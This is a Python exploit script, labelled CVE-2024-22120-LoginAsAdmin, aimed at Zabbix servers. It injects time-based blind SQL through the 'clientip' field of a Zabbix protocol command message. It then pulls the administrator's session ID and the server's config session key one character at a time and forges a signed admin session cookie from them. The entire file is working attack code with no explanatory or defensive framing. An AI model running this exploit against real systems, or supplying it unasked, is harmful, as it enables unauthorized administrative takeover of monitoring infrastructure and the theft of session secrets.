import hmac
import json
import argparse
import requests
from pwn import *
from datetime import datetime

def SendMessage(ip, port, sid, hostid, injection):
    context.log_level = "CRITICAL"
    zbx_header = "ZBXD\x01".encode()
    message = {
        "request": "command",
        "sid": sid,
        "scriptid": "1",
        "clientip": "' + " + injection + "+ '",
        "hostid": hostid
    }
    message_json = json.dumps(message)
    message_length = struct.pack('<q', len(message_json))
    message = zbx_header + message_length + message_json.encode()
    r = remote(ip, port, level="CRITICAL")
    r.send(message)
    r.recv(1024)
    r.close()

def ExtractConfigSessionKey(ip, port, sid, hostid, time_false, time_true):
    token = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits + "abcdef":
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            SendMessage(ip, port, sid, hostid, query)
            after_query = datetime.now().timestamp()
            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                token += c
                print("(+) session_key=%s" % token, flush=True)
                break
    return token


def ExtractAdminSessionId(ip, port, sid, hostid, time_false, time_true):
    session_id = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits + "abcdef":
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            SendMessage(ip, port, sid, hostid, query)
            after_query = datetime.now().timestamp()
            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                session_id += c
                print("(+) session_id=%s" % session_id, flush=True)
                break
    return session_id

def GenerateAdminSession(sessionid, session_key):
    def sign(data: str) -> str:
        key = session_key.encode()
        return hmac.new(key, data.encode('utf-8'), hashlib.sha256).hexdigest()

    def prepare_data(data: dict) -> str:
        sorted_data = OrderedDict(data.items())
        sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':')))
        return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8')

    session = {
        "sessionid": sessionid,
        "serverCheckResult": True,
        "serverCheckTime": int(time.time())
    }
    res = prepare_data(session)
    return res

def CheckAdminSession(ip, admin_session):
    proxy = {
        "https": "http://127.0.0.1:8083",
        "http": "http://127.0.0.1:8083"
    }
    url = f"http://{ip}/zabbix.php?action=dashboard.view"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
        "Cookie": f"zbx_session={admin_session}"
    }
    resp = requests.get(url=url, headers=headers, timeout=10, proxies=proxy)
    if "Administration" in resp.text and resp.status_code == 200:
        return admin_session
    else:
        return None

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-22120-LoginAsAdmin")
    parser.add_argument("--false_time",
                        help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)",
                        default="1")
    parser.add_argument("--true_time",
                        help="Time to sleep in case of right guess(make it bigger than false time, default=10)",
                        default="10")
    parser.add_argument("--ip", help="Zabbix server IP")
    parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051")
    parser.add_argument("--sid", help="Session ID of low privileged user")
    parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid")
    args = parser.parse_args()
    admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
    session_key = ExtractConfigSessionKey(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
    admin_session = GenerateAdminSession(admin_sessionid, session_key)
    res = CheckAdminSession(args.ip, admin_session)
    if res is not None:
        print(f"try replace cookie with:\nzbx_session={res}")
    else:
        print("failed")